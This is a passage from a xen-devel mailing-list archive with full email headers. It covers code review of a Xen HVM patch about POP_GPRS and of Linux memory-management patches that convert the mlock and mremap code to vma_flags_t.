With this open-coded, we lose the soft-dirty WARN_ON_ONCE sanity check.

Might be nicer to keep that check in one place ;)

[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 13:19:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 13:19:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351883.1608896 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHJj-0000YY-93; Thu, 02 Jul 2026 13:18:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351883.1608896; Thu, 02 Jul 2026 13:18:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHJj-0000YR-6P; Thu, 02 Jul 2026 13:18:59 +0000
Received: by outflank-mailman (input) for mailman id 1351883;
 Thu, 02 Jul 2026 13:18:58 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfHJi-0000X6-7h
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:18:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfHJh-005sZh-3I
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:18:57 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a466532-bab6-0a2a0a5309dd-0a2a450c867c-24
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:18:56 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a466540-f399-0a2a450c0019-d1558035c853-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:18:56 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c19bad03so14857945e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 06:18:56 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c6354926sm58037265e9.1.2026.07.02.06.18.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 06:18:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782998336; x=1783603136; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=f/ZNJVP0fUmpD0EWNlk5M4ki1CL0rYI/U52aPfaxbz4=;
        b=WsYyfrrtWoDIpamn59Lt1Jb/jnAI2UAlo0GJ8qW3UBbBcHroPtgtTSq/Bgx9Mzxh9S
         a2c7p3gxKOXsRojFf/D5RKnpKg3spkV5olmi4sCZ1FJVaJaHnHvoleuUfrigy6zy1sJh
         lVvpR/7NpT9AsesF0yljEVah+ZdeiLxf8oFJo8JEzmw+cbNnjh3HirspVZ9MPDRcrSgu
         WrKW9ZWx5ztYq+Yjrr/YfCDQUgYVkYeWqOGzy5db8rSXMvmcvARkv+T3ysXYNdyEj6wP
         MbsQ+Dgyv4tqJRoo2c61R8HkupmRzEwCHd/7sRt/hb///qdLltrykjMNeRDW1Lp/lhCd
         GDsg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782998336; x=1783603136;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=f/ZNJVP0fUmpD0EWNlk5M4ki1CL0rYI/U52aPfaxbz4=;
        b=HwBRcBY3WovYDjCS0Xu0wmo8aBlW5ijKM3nzhhbuXveCJOCd0K8JX9ucVsP09EadNx
         rRi64g4wqUTzzYYnYtBZrebnM1ski5zt/j9G7eandmKAcMrMFvPYI026PxIWstTzWh9p
         7w30wEGsb7oGFhRPweKIjkwfC5h/I4vPJHA1zLvExoM1FFusioylfQOt8K+8ziw2jCBb
         yI3D4LaHQ00tlgCrrxl3KAFIGN0AzsgkVd3CGzJMEiDZ1t/W3CG5m5pbx68Fokz+EyFN
         0d26QdDkyiHyQWeW6Sh+zgWl49xkc7Pqj2XvByjpBXMFkXyeHA12iMvwrHMy4ZabZ9dq
         1HzA==
X-Forwarded-Encrypted: i=1; AFNElJ/SQFr8geir8/3zCyqQYUKSblJHTsaLPuWdEqtH9wUpyxEoklcrwSlaI7VmVL9dhfY+i8bl5KKaXN8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzBIEQXFC+912utB6KJlLeckHahWyquXMwcBnwPj9v5o0AtlRS2
	Bq8boWi2Rwx7X8/M/+i616ITHd5yCY66vFEX9qWzluoQJnMJztjpMLiCIMAvDrAs4SpVGD2mSMY
	vk60t2A==
X-Gm-Gg: AfdE7ckixdpLZqHdL6E6XoTMmX+xu9+Qtx66Yj5idTrSw+FLTySwoWvOQbWgh0hkVLO
	OVPghlu1cK83RqjT70mRA/y5Uy1ggjsuveYLrKz6Oo4htItW/SBunGk/eMy/3MSSruM/kPh1PyZ
	p6PXrFgolIp0Owhh0ii3cfNtSYOpt1F/PRckRZ3tuTDD2NrN0+pG9MSkIfP2Co32A/Hh9U1JVCb
	mPiM3H/ZHaO4w7pX+LSdQRZit719879LplB902tPyOepnvXk1mvZ9S8RG9pIKEv3ay7GlPufV6l
	iA468rxh9QgV0oCXodLuUGNHowfbV9kKHCXFhmdaAdwGvAyJab9wTKMOPHfpacIyT0IYPcWc133
	dxTJkfRzkTFGEB/BqkqpsACAW96RAhijmjE+FYNFVihcwi9lbIxotWMySGuDYR8FBla4C2qDViv
	Yhg4BVXW3Lv4Z7lK6mM2x9jQq5tToSblm3+csswl4QbD6avnHOOn9KSHFnUCU+To8Jy1yjdqQrV
	suPOZRxpxGW0fo=
X-Received: by 2002:a05:600c:a00c:b0:493:c4e1:40a6 with SMTP id 5b1f17b1804b1-493c4e140f9mr45568225e9.32.1782998336287;
        Thu, 02 Jul 2026 06:18:56 -0700 (PDT)
Message-ID: <20836109-fadf-4ad4-ad9e-9fa44883716a@suse.com>
Date: Thu, 2 Jul 2026 15:18:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/4] x86/HVM: don't (almost) open-code POP_GPRS
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Wei Liu <wl@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
 <a89951cb-43c0-45bd-aba1-273cd053deae@suse.com>
 <6065311f-15b3-403e-b39c-f9652f0513ff@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBh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EQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <6065311f-15b3-403e-b39c-f9652f0513ff@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1782998336-91128D51-B08C898D/0/0
X-purgate-type: clean
X-purgate-size: 1206

On 02.07.2026 13:31, Andrew Cooper wrote:
> On 02/07/2026 11:55 am, Jan Beulich wrote:
>> It can be used as-is for VMX. For SVM the special treatment of %rax needs
>> accounting for.
>>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> ---
>> This is the minimum required as a prereq to the next patch (to avoid the
>> need for custom adjustments in the two places). We could go further and
>> switch to using PUSH_AND_CLEAR_GPRS at the same time.
> 
> I've got several part-series that result in purging SAVE_ALL/RESTORE_ALL.
> 
> If you want to put this patch in, then Acked-by: Andrew Cooper
> <andrew.cooper3@citrix.com>

Thanks. Yes, I think I'll put it in as one small piece in the move.

> but I firmly want to finish my series before
> patch 2 adds yet-more complexity to macros which I'm wanting to remove
> for being too complicated already.

Well, if you make this a strict prereq, then I might as well make one or
more patches myself to replace at least the SAVE_ALL the next patch needs
to fiddle with. Or else I'd like to understand when you expect your work
to arrive, as this series imo is one of those which have already been
blocked for far too long.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 13:21:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 13:21:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351893.1608906 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHMN-0002FJ-LU; Thu, 02 Jul 2026 13:21:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351893.1608906; Thu, 02 Jul 2026 13:21:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHMN-0002FC-Ig; Thu, 02 Jul 2026 13:21:43 +0000
Received: by outflank-mailman (input) for mailman id 1351893;
 Thu, 02 Jul 2026 13:21:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfHMM-0002F6-Dt
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:21:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfHML-006qr4-Qp
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:21:41 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4665d3-5cb7-0a2a0a5109dd-0a2a45019050-46
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:21:41 +0200
Received: from [91.218.175.178] (helo=out-178.mta0.migadu.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4665e5-400f-0a2a45010019-5bdaafb2370c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:21:41 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782998499;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=JUypSg4x3H5Npdac5Q/QNTHcczAl9LnBdMVXVWinEec=;
	b=lItd+RyL3jRAHkpl0dxrPEWed2AY0HWUHX4RwICujMLfpbUgWjWjW+ARImTVfb6PHm9Sny
	y6V8i67fWjOA8LCWLGCzxRy43+gvonIsLNLIP4rLaMNI+LWR2I1BadswAi+4/7c6z/eUrS
	IlFVPIdu28UO/M5UjVs/++abx0FKfS4=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 11/13] mm/mlock: convert mlock code to use vma_flags_t
Date: Thu,  2 Jul 2026 21:21:07 +0800
Message-Id: <20260702132107.73727-1-lance.yang@linux.dev>
In-Reply-To: <2db16db81538355ca65f778c246d2381c673cad4.1782760670.git.ljs@kernel.org>
References: <2db16db81538355ca65f778c246d2381c673cad4.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d62444/1782998501-D14DD1E0-880B5E1E/0/0
X-purgate-type: clean
X-purgate-size: 1714


On Mon, Jun 29, 2026 at 08:25:34PM +0100, Lorenzo Stoakes wrote:
>Replace use of the legacy vm_flags_t flags with vma_flags_t values
>throughout the mlock logic.
>
>Additionally update comments to reflect the changes to be consistent.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

Nothing scary jumped out at me. Just one tiny nit below ;)

[...]
>@@ -466,24 +466,23 @@ static void mlock_vma_pages_range(struct vm_area_struct *vma,
>  */
> static int mlock_fixup(struct vma_iterator *vmi, struct vm_area_struct *vma,
> 	       struct vm_area_struct **prev, unsigned long start,
>-	       unsigned long end, vm_flags_t newflags)
>+	       unsigned long end, vma_flags_t *new_vma_flags)
> {
>-	vma_flags_t new_vma_flags = legacy_to_vma_flags(newflags);
> 	const vma_flags_t old_vma_flags = vma->flags;
> 	struct mm_struct *mm = vma->vm_mm;
> 	int nr_pages;
> 	int ret = 0;
> 
>-	if (vma_flags_same_pair(&old_vma_flags, &new_vma_flags) ||
>+	if (vma_flags_same_pair(&old_vma_flags, new_vma_flags) ||
> 	    vma_is_secretmem(vma) || !vma_supports_mlock(vma)) {
> 		/*
>-		 * Don't set VM_LOCKED or VM_LOCKONFAULT and don't count.
>+		 * Don't set VMA_LOCKED_BIT or VM_LOCKONFAULT and don't count.

s/VM_LOCKONFAULT/VMA_LOCKONFAULT_BIT/

Otherwise LGTM. Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>

> 		 * For secretmem, don't allow the memory to be unlocked.
> 		 */
> 		goto out;
> 	}
> 
>-	vma = vma_modify_flags(vmi, *prev, vma, start, end, &new_vma_flags);
>+	vma = vma_modify_flags(vmi, *prev, vma, start, end, new_vma_flags);
> 	if (IS_ERR(vma)) {
> 		ret = PTR_ERR(vma);
> 		goto out;
[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 13:50:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 13:50:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351916.1608914 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHoC-00086Y-RZ; Thu, 02 Jul 2026 13:50:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351916.1608914; Thu, 02 Jul 2026 13:50:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHoC-00086R-Oz; Thu, 02 Jul 2026 13:50:28 +0000
Received: by outflank-mailman (input) for mailman id 1351916;
 Thu, 02 Jul 2026 13:50:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfHoA-00086L-80
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:50:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfHo9-006nIQ-1t
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:50:25 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a466c97-2eae-0a2a0a5409dd-0a2a4503a584-30
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:50:24 +0200
Received: from [91.218.175.188] (helo=out-188.mta0.migadu.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a466c9b-ec1a-0a2a45030019-5bdaafbcdeea-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:50:19 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1783000216;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=n7JedrMMFsZ3SA9xp8Er9WQ7Q5NWmS7gMbpQ8O+PQSg=;
	b=SBk2LGdo8O2Fh816oQbqXrmhKAQAYAxHqV6r2z//9k66SRzp2XfssdY3VkdvqTHoJEhhne
	KBLV5b7WimMmbUd67b8UpLhwJTAsCl8UHKUpcr3XwD//YOwU43JswyAPjZ9yhLgdwnTOAg
	TszqN8wOwdlDLsXMvuRT5nF6gC9LQmA=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 13/13] mm/mremap: convert mremap code to use vma_flags_t
Date: Thu,  2 Jul 2026 21:49:47 +0800
Message-Id: <20260702134947.25189-1-lance.yang@linux.dev>
In-Reply-To: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org>
References: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-33051d/1783000224-B57BF5D1-802020C5/0/0
X-purgate-type: clean
X-purgate-size: 6121


On Mon, Jun 29, 2026 at 08:25:36PM +0100, Lorenzo Stoakes wrote:
>Replace use of the legacy vm_flags_t flags with vma_flags_t values
>throughout the mremap logic.
>
>Additionally update comments to reflect the changes to be consistent.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

The vm_flags_set() cases below spell out vma_start_write(), but the
vm_flags_clear() cases don't?

Thanks, Lance

> mm/mremap.c | 38 ++++++++++++++++++++------------------
> 1 file changed, 20 insertions(+), 18 deletions(-)
>
>diff --git a/mm/mremap.c b/mm/mremap.c
>index 079a0ba0c4a7..0ea43302b7ed 100644
>--- a/mm/mremap.c
>+++ b/mm/mremap.c
>@@ -68,7 +68,7 @@ struct vma_remap_struct {
> 	bool populate_expand;		/* mlock()'d expanded, must populate. */
> 	enum mremap_type remap_type;	/* expand, shrink, etc. */
> 	bool mmap_locked;		/* Is mm currently write-locked? */
>-	unsigned long charged;		/* If VM_ACCOUNT, # pages to account. */
>+	unsigned long charged;		/* If VMA_ACCOUNT_BIT, # pgs to account */
> 	bool vmi_needs_invalidate;	/* Is the VMA iterator invalidated? */
> };
> 
>@@ -954,7 +954,7 @@ static unsigned long vrm_set_new_addr(struct vma_remap_struct *vrm)
> 
> 	if (vrm->flags & MREMAP_FIXED)
> 		map_flags |= MAP_FIXED;
>-	if (vma->vm_flags & VM_MAYSHARE)
>+	if (vma_test(vma, VMA_MAYSHARE_BIT))
> 		map_flags |= MAP_SHARED;
> 
> 	res = get_unmapped_area(vma->vm_file, new_addr, vrm->new_len, pgoff,
>@@ -976,7 +976,7 @@ static bool vrm_calc_charge(struct vma_remap_struct *vrm)
> {
> 	unsigned long charged;
> 
>-	if (!(vrm->vma->vm_flags & VM_ACCOUNT))
>+	if (!vma_test(vrm->vma, VMA_ACCOUNT_BIT))
> 		return true;
> 
> 	/*
>@@ -1003,7 +1003,7 @@ static bool vrm_calc_charge(struct vma_remap_struct *vrm)
>  */
> static void vrm_uncharge(struct vma_remap_struct *vrm)
> {
>-	if (!(vrm->vma->vm_flags & VM_ACCOUNT))
>+	if (!vma_test(vrm->vma, VMA_ACCOUNT_BIT))
> 		return;
> 
> 	vm_unacct_memory(vrm->charged);
>@@ -1023,7 +1023,7 @@ static void vrm_stat_account(struct vma_remap_struct *vrm,
> 	struct vm_area_struct *vma = vrm->vma;
> 
> 	vm_stat_account(mm, vma->vm_flags, pages);
>-	if (vma->vm_flags & VM_LOCKED)
>+	if (vma_test(vma, VMA_LOCKED_BIT))
> 		mm->locked_vm += pages;
> }
> 
>@@ -1167,7 +1167,7 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> 	 * arose, in which case we _do_ wish to unmap the _new_ VMA, which means
> 	 * we actually _do_ want it be unaccounted.
> 	 */
>-	bool accountable_move = (vma->vm_flags & VM_ACCOUNT) &&
>+	bool accountable_move = vma_test(vma, VMA_ACCOUNT_BIT) &&
> 		!(vrm->flags & MREMAP_DONTUNMAP);
> 
> 	/*
>@@ -1186,7 +1186,7 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> 	 * portions of the original VMA that remain.
> 	 */
> 	if (accountable_move) {
>-		vm_flags_clear(vma, VM_ACCOUNT);
>+		vma_clear_flags(vma, VMA_ACCOUNT_BIT);
